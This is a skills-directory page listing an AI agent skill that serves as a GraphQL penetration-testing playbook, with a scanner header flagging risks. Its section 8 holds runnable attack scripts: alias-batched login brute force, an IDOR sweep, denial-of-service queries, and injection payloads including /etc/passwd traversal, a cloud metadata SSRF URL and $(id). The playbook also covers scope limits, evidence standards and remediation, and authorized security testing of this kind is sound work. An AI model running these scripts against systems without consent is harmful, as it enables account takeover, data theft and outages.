GraphQL-specific vulnerabilities and exploitation. Use when a GraphQL endpoint is found and the task is introspection, authorization bypass, injection, or denial of service. Covers schema discovery, field-level authorization failure, and the batching and depth attack surface.
2 stars
0 votes
0 copies
0 views
Added November 11, 2026
securitypythonrustgophpshellbashsqlnodetestingapi
Works with
cli
api
Security analysis
D59/100
mediumUses curl or wget to download content
criticalAccesses sensitive system or user directories
criticalExfiltrates credentials via HTTP — exact pattern from Snyk ToxicSkills study
criticalSends environment variables or credentials to an external URL
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Graphql Exploitation Chains?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/harezadmm-graphql-exploitation-chains)
---
name: graphql-exploitation-chains
description: >-
GraphQL-specific vulnerabilities and exploitation. Use when a GraphQL endpoint is found and the
task is introspection, authorization bypass, injection, or denial of service. Covers schema
discovery, field-level authorization failure, and the batching and depth attack surface.
---
# SKILL: GraphQL Exploitation
> **AI LOAD INSTRUCTION**: GraphQL moves the attack surface from *endpoints* to *fields*. The
> central vulnerability class is **field-level authorization** — a resolver that trusts the
> caller because the query passed some earlier check. Base models test for introspection and
> stop. This skill covers schema discovery, per-field authorization testing, injection through
> arguments, and the resource-exhaustion surface unique to GraphQL.
## 0. RELATED ROUTING
- [attack-graphql](../attack-graphql/SKILL.md) — the base technique module
- [graphql-and-hidden-parameters](../graphql-and-hidden-parameters/SKILL.md) — parameter discovery
- [api-authorization-and-bola](../api-authorization-and-bola/SKILL.md) — BOLA generalises to field level
- [nosql-injection](../nosql-injection/SKILL.md) — the common resolver-side injection
- [api-recon-and-docs](../api-recon-and-docs/SKILL.md) — finding the endpoint
---
## 1. FINDING AND CHARACTERISING THE ENDPOINT
| Discovery route | Note |
|---|---|
| `/graphql`, `/api/graphql`, `/v1/graphql`, `/query` | common paths |
| the client app's own JS bundle | the endpoint and often the full query set are embedded |
| `__typename` in a captured response | confirms a GraphQL backend |
| error messages | the only diagnostic on badly configured servers |
| introspection | disabled on mature deployments, but common on internal APIs |
**Introspection is the fastest path when enabled, but do not stop when it is disabled.** A
404 or "introspection disabled" message tells you the endpoint exists and is hardened — the
schema is still enumerable through error messages, field suggestion, and the client's own bundle.
---
## 2. SCHEMA DISCOVERY WHEN INTROSPECTION IS OFF
| Technique | Mechanism |
|---|---|
| **Field suggestion** | send a near-miss field name; many implementations suggest the correct one in the error ("Did you mean …?") |
| **`__type` on a known type** | partial introspection that survives a naive `__schema` block |
| **Client bundle mining** | the queries the app itself sends reveal types and fields |
| **Mobile app / desktop client** | often ships the full schema or query documents |
| **Persisted-query allowlist bypass** | send a full query instead of the hash; some servers accept both |
| **Error-driven enumeration** | malformed queries reveal type names in validation errors |
**Field suggestion is the highest-yield technique on a hardened endpoint.** Iterate: guess a
field, read the suggestion, add it to the query, repeat. It reconstructs a schema without
introspection.
---
## 3. FIELD-LEVEL AUTHORIZATION — THE CORE CLASS
The defining GraphQL vulnerability. The endpoint authenticates the *query*, then each resolver
trusts that authentication without re-checking the *object*.
```
# the query passes the top-level check…
query { me { id } }
# …but a nested field reaches another object with no check
query { user(id: 2) { email creditCard } }
query { node(id: "base64-other-object") { ... on PrivateRecord { secret } } }
```
**Test procedure:**
1. Authenticate as a low-privilege user (A).
2. Capture every operation the UI performs for a high-privilege user (B).
3. Replay B's exact operations with A's token.
4. Vary **object IDs** (BOLA) and **field selections** (excessive data exposure) independently.
5. Check *aliases* — issuing the same field twice under different aliases can bypass per-request caching of an authorization decision.
**Aliases and fragments are the two mechanisms that most often defeat a partial fix.** If the
fix denies `{ user { email } }`, test `{ a: user { email } b: user { passwordHash } }` and the
same field reached through a fragment.
---
## 4. INJECTION THROUGH ARGUMENTS
Resolvers pass arguments to a data layer. That layer is a normal injection target.
| Backend | Test |
|---|---|
| MongoDB | `{"username": {"$ne": null}}` — operator injection in a JSON-typed argument |
| SQL | quoting and boolean pairs in string arguments |
| LDAP | `*)(uid=*` in a filter argument |
| Command | argument reaching a shell |
| Template | argument rendered into a template |
| SSRF | a URL argument fetched server-side |
**GraphQL-specific nuance:** arguments typed as `String` are usually parameterised by the
library, while arguments typed as a **custom scalar or JSON/`Object`** often reach the data
layer unsanitised. Prefer testing the loosely-typed arguments first — they are the ones that
were convenient to write and easy to misuse.
---
## 5. RESOURCE EXHAUSTION
GraphQL lets a client shape the cost of its own query. That is the denial-of-service surface.
| Attack | Mechanism |
|---|---|
| **Deep nesting** | recursive types (`user → friends → friends → …`) exhaust the resolver stack |
| **Query batching** | send an array of operations; N requests become one — bypasses per-request rate limits and multiplies brute force |
| **Alias amplification** | the same expensive field requested many times under different aliases in one query |
| **Circular fragments** | fragment cycles that defeat naive depth counting |
| **Large `first`/`limit`** | requesting a huge page size in one request |
**Batching is a rate-limit bypass, not just a DoS.** If login is a mutation, batching turns a
per-request throttle into a per-request-count throttle — test whether the limit counts
*operations* or *HTTP requests*. This is a common finding on APIs that added a limiter without
accounting for batching.
Only test exhaustion techniques where scope permits; they can take the endpoint down.
---
## 6. EVIDENCE STANDARD
| Item | Why |
|---|---|
| endpoint URL and the transport (GET/POST, which content type) | reproducibility |
| the exact operation, including aliases and fragments | the alias/fragment shape is often the finding |
| the token/role used, and the object reached | proves the authorization failure |
| whether introspection was available; if not, the method used to reconstruct the schema | different findings |
| for injection: the argument type and the payload | shows the root cause |
| for resource issues: measured impact, not theoretical | avoids an unfounded DoS claim |
---
## 7. REMEDIATION REFERENCE
1. **Authorize per field, per object** — the check belongs in the resolver, not the gateway. Never inherit trust from the query.
2. **Disable introspection in production** — necessary but not sufficient; field suggestion and client bundles still leak the schema.
3. **Disable or bound batching** — and make rate limits count operations, not HTTP requests.
4. **Depth and complexity limits** — cap query depth, field count, and total computed cost; this is the only reliable fix for §5.
5. **Type arguments strictly** — avoid JSON/`Object` scalars on user-supplied fields; the loose type is where injection lives.
6. **Persisted queries with a strict allowlist** — the strongest control against arbitrary query shapes.
7. **Log the operation body, not just the endpoint** — GraphQL over POST hides everything a traditional access log would capture.
---
## 8. EXECUTION PRIMITIVES
GraphQL is a single endpoint where **the query is the payload**. These blocks enumerate the schema,
then test the three classes that actually pay: field-level authorization, argument injection, and
resource exhaustion.
### 8.1 Endpoint discovery and transport detection
```bash
for P in /graphql /api/graphql /v1/graphql /query /api /gql /graphql/v1 /index.php?graphql; do
for M in GET POST; do
C=$(curl -sS -o /tmp/g -w '%{http_code}' -X "$M" "https://target.tld$P" \
-H 'Content-Type: application/json' -d '{"query":"{__typename}"}' 2>/dev/null)
[ "$C" != "404" ] && [ "$C" != "000" ] && echo "$M $P -> $C $(head -c 90 /tmp/g | tr -d '\n')"
done
done
```
`{"query":"{__typename}"}` is the cheapest probe: a GraphQL server answers with a data object. A
`400` with a GraphQL error shape confirms the endpoint; an HTML `404` page does not.
### 8.2 Introspection - full schema in one request
```bash
Q='{"query":"query{__schema{queryType{name} mutationType{name} subscriptionType{name} types{name kind fields{name args{name type{name kind ofType{name kind}}} type{name kind ofType{name kind}}} inputFields{name type{name kind ofType{name}}} enumValues{name}}}}}"}'
curl -sS -X POST "https://target.tld/graphql" -H 'Content-Type: application/json' -d "$Q" -o schema.json
python3 - <<'PY'
import json
d=json.load(open('schema.json'))
t=d.get('data',{}).get('__schema',{}).get('types',[])
print("types:",len(t))
for x in t:
if x['name'].startswith('__'): continue
fs=[f['name'] for f in (x.get('fields') or [])]
if fs: print(f"{x['name']:28} {x['kind']:10} {', '.join(fs[:8])}")
PY
```
A full schema is the map for everything below. **If introspection is disabled**, go to 8.3 - do not
give up, the schema is usually recoverable.
### 8.3 Schema recovery without introspection
```bash
# a) field suggestion errors leak names one character at a time
curl -sS -X POST "https://target.tld/graphql" -H 'Content-Type: application/json' \
-d '{"query":"{ usr }"}' | head -c 400
# b) the client bundle ships the operations it performs
curl -sS https://target.tld/static/js/main.js | grep -oE '\{[^{}]*\}' | grep -E '__typename|query |mutation ' | head -20
# c) persisted-query IDs are often sequential and replayable
for ID in $(seq 1 40); do
R=$(curl -sS -X POST "https://target.tld/graphql" -H 'Content-Type: application/json' \
-d "{\"extensions\":{\"persistedQuery\":{\"version\":1,\"sha256Hash\":\"$ID\"}}}")
echo "$R" | grep -qi '"data"' && echo "ID $ID resolvable"
done
# d) GET with query params is often allowed where POST is filtered
curl -sS --get --data-urlencode 'query={__typename}' "https://target.tld/graphql"
```
Field-suggestion errors (`Did you mean "user"?`) are the fastest oracle and usually survive even when
introspection is blocked. Collect them into a schema by probing one level at a time.
### 8.4 Field-level authorization - the core class
```bash
# same query, two tokens: the ONLY valid BOLA test in GraphQL
Q='{"query":"{ user(id:\"1042\"){ id email role ssn } }"}'
for T in "$TOKEN_A" "$TOKEN_B"; do
echo "== $( [ "$T" = "$TOKEN_A" ] && echo A || echo B )"
curl -sS -X POST "https://target.tld/graphql" -H 'Content-Type: application/json' \
-H "Authorization: Bearer $T" -d "$Q"
echo
done
```
**Both responses must be captured.** If A reads B's object, the finding is object-level
authorization. If both get `null` with an error, authorization is enforced. If both get the same data
and the object is public, that is not a finding.
### 8.5 Alias batching - the rate-limit bypass GraphQL gives you for free
```bash
python3 - <<'PY'
import json, subprocess, os
aliases = " ".join(f'a{i}: login(username:"victim",password:"guess{i}")' for i in range(0,50))
q = {"query": "mutation{" + aliases + "}"}
r = subprocess.run(["curl","-sS","-X","POST",os.environ["EP"],"-H","Content-Type: application/json",
"-H",f"Authorization: Bearer {os.environ['TOK']}","-d",json.dumps(q)],
capture_output=True, text=True)
print(r.stdout[:1200])
PY
```
One HTTP request, fifty operations. If the limiter counts requests rather than operations, you have
bypassed it. **Check the control**: run the equivalent fifty separate requests and confirm the
limiter fires, or the bypass is unproven.
### 8.6 Aliased IDOR sweep in one request
```bash
python3 - <<'PY'
import json, subprocess, os
al = " ".join(f'u{i}: user(id:"{i}"){{ id email }}' for i in range(1000, 1030))
q = {"query": "{" + al + "}"}
r = subprocess.run(["curl","-sS","-X","POST",os.environ["EP"],"-H","Content-Type: application/json",
"-d",json.dumps(q)], capture_output=True, text=True)
d = json.loads(r.stdout)
hits = {k:v for k,v in d.get("data",{}).items() if v}
print(f"{len(hits)}/{len(d.get('data',{}))} ids returned data:")
for k,v in list(hits.items())[:10]: print(" ",k,v)
PY
```
Objects you should not be able to read, returned by an **unauthenticated or low-privilege** request,
are the finding. Note the token you used and its role.
### 8.7 Argument injection through the resolver
```bash
# GraphQL passes strings into whatever the resolver does - SQL, a template, a shell, a URL fetch
for V in "' OR 1=1--" "1' AND SLEEP(5)--" '{"$ne":null}' '<script>1</script>' '../../etc/passwd' \
'http://169.254.169.254/latest/meta-data/' '$(id)' '{{7*7}}'; do
R=$(curl -sS -X POST "https://target.tld/graphql" -H 'Content-Type: application/json' \
-d "{\"query\":\"{ search(term:\"$V\"){ id title } }\"}" -w '|%{time_total}')
echo "=== $V"
echo "$R" | head -c 300; echo
done
```
GraphQL itself does not inject, but the **resolver** behind an argument might. Treat each argument as
a parameter you would test in a REST API: the injection classes are identical, and the transport is
irrelevant to the sink.
### 8.8 Resource exhaustion - depth, breadth, and aliases
```bash
python3 - <<'PY'
import json, subprocess, os, time
EP, TOK = os.environ["EP"], os.environ.get("TOK","")
def timed(q, label):
t0=time.time()
r=subprocess.run(["curl","-sS","--max-time","40","-X","POST",EP,"-H","Content-Type: application/json",
"-H",f"Authorization: Bearer {TOK}","-d",json.dumps({"query":q})],
capture_output=True,text=True)
print(f"{label:22} {time.time()-t0:6.2f}s {len(r.stdout):7}B {r.stdout[:100]}")
# circular depth (schema-dependent; builds a deep nest through a self-referencing type)
depth = "{" + "friend{ " * 15 + "id" + " }" * 15 + "}"
timed(depth, "depth=15")
# breadth via aliases
timed("{" + " ".join(f'a{i}:__typename' for i in range(500)) + "}", "alias_breadth=500")
# expensive field repeated
timed("{" + " ".join(f'a{i}: search(term:"a"){{ id }}' for i in range(50)) + "}", "expensive_x50")
PY
```
Compare each against a **baseline single-operation request**. A 15-deep query that costs 40x the
baseline is a denial-of-service primitive; a deep query rejected with a depth error means the control
is present. Never run this without an agreed ceiling - it generates real load.
### 8.9 Introspection and error-leak check
```bash
# is the schema withheld but the errors verbose?
curl -sS -X POST "https://target.tld/graphql" -H 'Content-Type: application/json' \
-d '{"query":"{ __schema { types { name } } }"}' | head -c 300
# stack trace and internal path leakage through a deliberate error
curl -sS -X POST "https://target.tld/graphql" -H 'Content-Type: application/json' \
-d '{"query":"{ user(id: 1) { unknownField } }"}' | head -c 500
```
Verbose GraphQL errors leak types, file paths, and ORM internals. That is an information-disclosure
finding only when the leaked detail is not otherwise obtainable and has security relevance - not
merely because a message is long.
### 8.10 Introspection-disabled, depth-limited, alias-capped: verify the controls
```bash
echo "introspection: $(curl -sS -X POST "$EP" -H 'Content-Type: application/json' -d '{"query":"{__schema{types{name}}}"}' | grep -c __schema)"
echo "depth: $(curl -sS -X POST "$EP" -H 'Content-Type: application/json' -d "{\"query\":\"$(python3 -c 'print("{"+"a{"*12+"id"+"}"*12+"}")')\"}" | grep -ci 'depth\|too deep\|exceed')"
echo "alias cap: $(python3 -c "
import json,subprocess,os
q={'query':'{'+' '.join(f'a{i}:__typename' for i in range(300))+'} '}
print(subprocess.run(['curl','-sS','-X','POST',os.environ['EP'],'-H','Content-Type: application/json','-d',json.dumps(q)],capture_output=True,text=True).stdout.count('a299'))
")"
```
Recording which controls **are** present is as important as which are missing - it defines what the
report should ask for and prevents claiming a bypass you did not achieve.
---
## 9. CONFIRMING THE FINDING
| Step | Question | What it proves |
|---|---|---|
| 1 | Did the response carry **data you should not see**, or a state change you should not cause? | the finding, as opposed to a schema observation |
| 2 | For field authorization: did you test with **two tokens you own**, and is the object's owner recorded? | BOLA cannot be decided with one identity |
| 3 | For batching: did the **equivalent sequential requests** hit the limiter? | otherwise the limiter was never the obstacle |
| 4 | For exhaustion: is the cost **disproportionate to a baseline operation**, and repeatable? | a slow query is not a DoS; a 40x amplification is |
| 5 | For injection: is the effect **server-side** (a timing change, a returned record, an OOB callback)? | proves the resolver reached the sink |
| 6 | Is the endpoint **authenticated and in scope**, and did you stay under the agreed load ceiling? | exhaustion tests without a ceiling are an incident |
| 7 | Can you state the impact in one sentence with the data or action reached? | schema trivia is not a finding |
**Schema disclosure is a lead, not a finding.** Introspection being enabled tells you what to test; it
is reportable only when combined with a reachable sensitive field, or when the engagement's rules
treat schema exposure as in-scope. Say which one you are claiming.
---
## 10. EVIDENCE STANDARD — QUERY AND IMPACT PROOF
| Item | Why |
|---|---|
| The **exact query string** and the endpoint, with headers | GraphQL findings are reproduced by pasting the query; a paraphrase is unreproducible |
| **Both responses** for any authorization claim, with the token and role for each | the pair is the finding |
| The **schema or the recovered field list** that identified the field | shows you did not guess, and guides the fix |
| For batching: the **single aliased request** plus the sequential control that was throttled | proves the limiter was bypassed, not absent |
| For exhaustion: the **baseline time/size** and the amplified time/size, with the operation shapes | amplification is the impact; without the ratio there is no case |
| For injection: the **timing measurement, returned record, or OOB callback** | proves the sink, not merely a suspicious argument |
| The **depth/alias/introspection controls observed**, as configured | determines what the report should recommend |
| The **load ceiling** you agreed to and stayed within, with the volume generated | exhaustion tests must be bounded and disclosed |
| **Negative control** - the same query with an unprivileged/invalid field returns the restricted result | rules out a globally open endpoint |
| Confirmation that only **accounts you own** were used | no third party's data was accessed |
Report the **reached data or effect**: "`user(id:"1042")` returns the full record including `email` and
`ssn` for Account B's object when called with Account A's token; B's token is required to read B's
own record and returns the same object, so the resolver performs no ownership check", never "GraphQL
introspection is enabled".
### False positives - do not report these
| Observation | Why it is not a finding |
|---|---|
| Introspection enabled, with no sensitive field reachable | a lead; report only if the program treats it as in scope |
| A field returns `null` with an authorization error | the control is working |
| Both tokens return the same public object | no boundary crossed |
| Verbose error messages with no security-relevant leak | noise, unless it exposes something otherwise unobtainable |
| A slow query without a baseline comparison | not a DoS; measure the amplification |
| Alias batching when no limiter existed | nothing was bypassed |
| A single-operation request that is simply expensive for everyone | design, not a vulnerability |
| Deprecation notices or `__typename` in responses | normal GraphQL behaviour |
| A query depth limit you did not actually exceed | the control is present |
| Injection payload returned verbatim in a field value | reflection without a sink |
| The endpoint is a **mock/staging** server with no data | not the production system |
| Load you generated caused degradation without a ceiling | that is an incident, not a finding |
**Never run an exhaustion test without a ceiling.** Stop at the first sign of impact on live service.
---
## 11. REMEDIATION REFERENCE — RESOLVER CONTROLS
1. **Enforce object-level authorization in the resolver, per field** - the transport is irrelevant; every resolver that returns a user-owned object must verify that the caller owns or is entitled to it, using the authenticated principal from the context, never an argument.
2. **Apply a depth limit and a query-cost limit** - depth alone is insufficient because breadth and aliases multiply work; score queries by the product of depth, aliases, and list sizes, and reject anything over budget before execution.
3. **Cap or reject batched operations and aliases** - or count each aliased operation against the client's rate budget, so a single HTTP request cannot perform unlimited work.
4. **Disable introspection in production, and treat schema secrecy as hardening not security** - field-suggestion errors, client bundles, and persisted queries all leak the schema, so the real control is per-field authorization.
5. **Disable field suggestions and verbose errors in production** - return generic errors with a correlation id, and log the detail server-side; verbose resolver errors leak types, ORM internals, and file paths.
6. **Authenticate and authorize the transport, not just the operation** - require a token on the endpoint, reject unauthenticated introspection and mutations, and never rely on the query being "unlikely to be guessed".
7. **Time out and cost-limit expensive resolvers** - a per-resolver statement timeout, a bounded result set, and mandatory pagination on list fields; a resolver that can scan a collection is a DoS primitive.
8. **Whitelist operations with persisted queries where feasible** - an allowlist of known operation hashes removes arbitrary query shapes, aliasing, and depth attacks at once, at the cost of a build step.
9. **Validate and parameterise arguments like any other API input** - use parameterised queries and typed scalars, avoid `Object`/`JSON` scalars on user input, and never pass an argument into a template, shell, or outbound fetch unchecked.
10. **Rate-limit per principal and per operation, counting operations rather than HTTP requests** - a limiter that counts requests is defeated by aliasing; count the work performed.
11. **Monitor query shapes and costs in production** - alert on unusual depth, high alias counts, and per-client cost outliers; the attack looks like normal traffic at the HTTP layer and is only visible in the operation.
---
## 12. RELATED SIBLINGS - LOAD TOGETHER
- [attack-graphql](../attack-graphql/SKILL.md) - the compact attack-side companion to this playbook
- [graphql-and-hidden-parameters](../graphql-and-hidden-parameters/SKILL.md) - schema and parameter discovery
- [api-authorization-and-bola](../api-authorization-and-bola/SKILL.md) - the authorization model behind field-level checks
- [idor-broken-object-authorization](../idor-broken-object-authorization/SKILL.md) - the same class in REST form
- [api-auth-and-jwt-abuse](../api-auth-and-jwt-abuse/SKILL.md) - the token layer every resolver trusts